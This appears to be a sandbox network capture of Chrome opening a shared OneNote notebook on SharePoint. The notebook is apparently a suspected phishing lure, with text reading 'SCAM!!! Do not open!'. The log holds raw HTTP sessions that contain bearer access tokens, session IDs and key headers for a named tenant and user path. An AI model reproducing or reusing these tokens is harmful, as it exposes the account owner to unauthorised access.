eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f X-AccessTokenTtl: 1721164012481 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:05 UTC	1053	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 4212 Content-Type: text/html Last-Modified: Fri, 07 Jun 2024 04:31:02 GMT Accept-Ranges: bytes ETag: "53d368193b8da1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 326758c3-c104-4b0d-8201-46f67fd5254d X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782A X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-OFFICEFD: DU2PEPF0001782A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_pptcapacity,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: D0B157EFE67B4029B95A3C6533999C60 Ref B: EWR311000107047 Ref C: 2024-07-16T11:07:05Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close
2024-07-16 11:07:05 UTC	1956	IN	Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></tit
2024-07-16 11:07:05 UTC	2256	IN	Data Raw: 76 61 72 20 2f 67 6d 2c 20 22 22 29 29 3b 20 73 65 74 4c 6f 63 61 6c 69 7a 61 62 6c 65 45 6c 65 6d 65 6e 74 73 28 29 3b 20 7d 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 65 78 74 28 65 6c 65 6d 65 6e 74 54 65 78 74 2c 20 74 65 78 74 29 20 7b 20 76 61 72 20 74 65 78 74 4e 6f 64 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 74 65 78 74 29 3b 20 65 6c 65 6d 65 6e 74 54 65 78 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 27 3b 20 65 6c 65 6d 65 6e 74 54 65 78 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 65 78 74 4e 6f 64 65 29 3b 20 7d 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 4c 6f 63 61 6c 69 7a 61 62 6c 65 45 6c 65 6d 65 6e 74 73 28 29 20 7b 20 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 20 3d 20 6c 5f 45 72 72 6f 72 48 65 61 Data Ascii: var /gm, "")); setLocalizableElements(); } function setText(elementText, text) { var textNode = document.createTextNode(text); elementText.innerHTML = ''; elementText.appendChild(textNode); } function setLocalizableElements() { document.title = l_ErrorHea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49805	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:05 UTC	3492	OUT	POST /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtN [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 988 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:05 UTC	988	OUT	Data Raw: 7b 22 4d 6f 64 65 22 3a 31 2c 22 73 72 73 22 3a 5b 5b 34 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 30 2c 22 44 65 70 65 6e 64 65 6e 74 4f 6e 22 3a 30 2c 22 49 6e 70 75 74 22 3a 22 20 44 6f 20 6e 6f 74 20 6f 70 65 6e 21 20 50 75 6c 63 72 61 20 43 68 65 6d 69 63 61 6c 73 20 61 6c 73 20 47 72 6f 75 70 22 2c 22 4c 63 69 64 22 3a 31 30 33 33 2c 22 50 72 65 43 6f 6e 74 65 78 74 54 65 78 74 22 3a 22 53 43 41 4d 21 21 21 22 2c 22 50 6f 73 74 43 6f 6e 74 65 78 74 54 65 78 74 22 3a 22 22 2c 22 55 73 65 72 41 63 74 69 6f 6e 54 79 70 65 22 3a 22 4c 6f 61 64 22 2c 22 41 70 70 6c 69 63 61 74 69 6f 6e 4d 6f 64 65 22 3a 31 2c 22 50 72 6f 6f 66 69 6e 67 45 6e 67 69 6e 65 22 3a 32 2c 22 55 73 65 43 6f 6e 74 65 78 74 75 61 6c 52 65 73 75 6c 74 73 22 3a 66 61 6c 73 65 Data Ascii: {"Mode":1,"srs":[[4,{"OperationId":0,"DependentOn":0,"Input":" Do not open! Pulcra Chemicals als Group","Lcid":1033,"PreContextText":"SCAM!!!","PostContextText":"","UserActionType":"Load","ApplicationMode":1,"ProofingEngine":2,"UseContextualResults":false
2024-07-16 11:07:05 UTC	1360	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3085 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-ROUTED-TO-TARGET-SERVER-PATH: WAC_WFE_AFFINITY_TARGET_URL X-CorrelationId: ba3b55c8-7ec7-4fb2-ac7b-a96ad06b494c X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-CorrelationId: ba3b55c8-7ec7-4fb2-ac7b-a96ad06b494c X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782D X-WacFrontEnd: DU2PEPF0001783E X-Powered-By: ARR/3.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_excelslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 5D719AD32F614AA4892D9BF91C10FDFB Ref B: EWR311000104037 Ref C: 2024-07-16T11:07:05Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close
2024-07-16 11:07:05 UTC	667	IN	Data Raw: 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 36 33 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 30 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 6e 75 6c 6c 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 6e 75 6c 6c 2c 22 43 72 69 74 69 71 75 65 73 22 3a 5b 7b 22 43 61 74 65 67 6f 72 79 54 69 74 6c 65 22 3a 22 53 70 65 6c 6c 69 6e 67 22 2c 22 53 75 70 70 6f 72 74 65 64 41 63 74 69 6f 6e 73 22 3a 32 32 2c 22 43 72 69 74 69 71 75 65 41 63 74 69 6f 6e 73 22 3a 32 32 2c 22 54 72 61 63 65 49 64 22 3a 22 31 31 61 37 64 65 62 61 2d 35 64 63 36 2d 34 63 61 37 2d 38 31 35 61 2d 35 36 35 63 36 62 38 33 34 30 32 36 22 2c 22 54 79 70 65 49 64 22 3a 22 33 36 33 Data Ascii: {"Responses":[[63,{"OperationId":0,"StatusCode":0,"RawCellStorageErrorCode":null,"ServerPageStatsTrace":null,"Critiques":[{"CategoryTitle":"Spelling","SupportedActions":22,"CritiqueActions":22,"TraceId":"11a7deba-5dc6-4ca7-815a-565c6b834026","TypeId":"363
2024-07-16 11:07:05 UTC	2418	IN	Data Raw: 6c 65 72 61 22 2c 22 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 43 6f 6e 66 69 64 65 6e 63 65 4c 65 76 65 6c 22 3a 30 2c 22 53 6f 75 72 63 65 22 3a 22 30 22 2c 22 41 63 74 69 6f 6e 22 3a 33 7d 2c 7b 22 54 65 78 74 22 3a 22 50 75 6c 73 61 72 22 2c 22 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 43 6f 6e 66 69 64 65 6e 63 65 4c 65 76 65 6c 22 3a 30 2c 22 53 6f 75 72 63 65 22 3a 22 30 22 2c 22 41 63 74 69 6f 6e 22 3a 33 7d 5d 7d 2c 7b 22 43 61 74 65 67 6f 72 79 54 69 74 6c 65 22 3a 22 53 70 65 6c 6c 69 6e 67 22 2c 22 53 75 70 70 6f 72 74 65 64 41 63 74 69 6f 6e 73 22 3a 32 32 2c 22 43 72 69 74 69 71 75 65 41 63 74 69 6f 6e 73 22 3a 32 32 2c 22 54 72 61 63 65 49 64 22 3a 22 62 63 34 35 63 63 31 31 2d 65 33 32 64 2d 34 30 66 35 2d 38 Data Ascii: lera","Description":null,"ConfidenceLevel":0,"Source":"0","Action":3},{"Text":"Pulsar","Description":null,"ConfidenceLevel":0,"Source":"0","Action":3}]},{"CategoryTitle":"Spelling","SupportedActions":22,"CritiqueActions":22,"TraceId":"bc45cc11-e32d-40f5-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49806	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:05 UTC	874	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 562 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:05 UTC	562	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 32 33 32 34 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 34 38 34 38 34 2c 22 54 22 3a 2d 39 2c 22 4d 22 3a 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 4a 53 41 50 49 20 72 65 73 6f 75 72 63 65 20 74 69 6d 69 6e 67 20 65 6e 74 72 79 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 30 39 31 34 36 35 35 2c 22 54 22 3a 2d 38 2c 22 4d 22 3a 22 54 69 6d 65 20 73 70 65 6e 74 20 6c 6f 67 67 69 6e 67 3a 20 31 2e 36 39 39 39 39 39 39 39 39 39 38 32 35 33 37 37 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 33 33 34 2c 22 54 22 3a 2d 38 2c 22 4d 22 3a 22 53 65 6e 64 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 4a 73 41 70 69 44 69 61 67 6e 6f 73 74 69 63 73 22 Data Ascii: {"T":1721128023242,"L":[{"G":595948484,"T":-9,"M":"Could not find JSAPI resource timing entry","C":379,"D":50},{"G":590914655,"T":-8,"M":"Time spent logging: 1.6999999999825377","C":379,"D":50},{"G":596464334,"T":-8,"M":"Sending message: JsApiDiagnostics"
2024-07-16 11:07:05 UTC	4581	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 8f6af6e8-c370-40ac-908e-e9e9f2c2a684 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017836 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017836 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: BBB046E7B4524B5DB7076CE7BE46F108 Ref B: EWR311000107017 Ref C: 2024-07-16T11:07:05Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49808	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:05 UTC	3573	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyR [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f OrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:06 UTC	1114	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 33002e93-53e0-447d-84f7-417f40b905bd X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017827 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017827 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 8B5DE41D8E1042BFA81AF21B2AC103CC Ref B: EWR311000104029 Ref C: 2024-07-16T11:07:05Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close
